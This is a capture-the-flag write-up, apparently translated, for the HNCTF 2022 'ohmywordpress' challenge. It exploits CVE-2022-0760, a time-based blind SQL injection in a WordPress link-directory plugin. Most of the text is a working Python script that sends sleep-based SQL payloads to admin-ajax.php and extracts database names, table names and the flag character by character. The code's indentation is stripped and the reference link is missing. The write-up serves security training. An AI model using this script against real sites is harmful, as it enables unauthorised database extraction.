NSS [HNCTF 2022 WEEK2]ohmywordpress（CVE-2022-0760）
Title description: The flag is in the database.
Opening topic:
Keep clicking along the button and you will find a button called安装WordPress
The interface after installation has a search box.
F12 to see network.
This appears again WordPress, and it can be seen from the source code that the version is 6.0.2.
After searching online, I found a CVE CVE-2022-0760. Time blind injection exists when the plug-in version < 7.7.2 WordPress.Simple Link Directory
Check the source code. This plug-in is indeed used here, but the version cannot be seen.
It is estimated that this is the CVE, so just use the blind injection script.
import requests
import time
url = "http://node5.anna.nssctf.cn:28982/wp-admin/admin-ajax.php"
result = ""
for i in range(1, 100):
length = len(result)
for o in range(32, 128):
data = {
"action": "qcopd_upvote_action",
# "post_id": f"(SELECT 3 FROM (select if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))={o},sleep(3),0))enz)",
# "post_id": f"(SELECT 3 FROM (select if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),26,11)),{i},1))={o},sleep(3),0))enz)",
"post_id": f"(SELECT 3 FROM (select if(ascii(substr((select group_concat(a) from (select 1 as a union select * from ctftraining.flag)b),{
i},1))={
o},sleep(3),0))enz)",
}
time1 = time.time()
res = requests.post(url, data=data)
time2 = time.time()
# print(time2 - time1)
# exit()
if time2 - time1 > 3:
result += chr(o)
print(result)
break
if len(result) == length:
break
Why the script is written like this and the exploit can be found in the article below.
Reference article: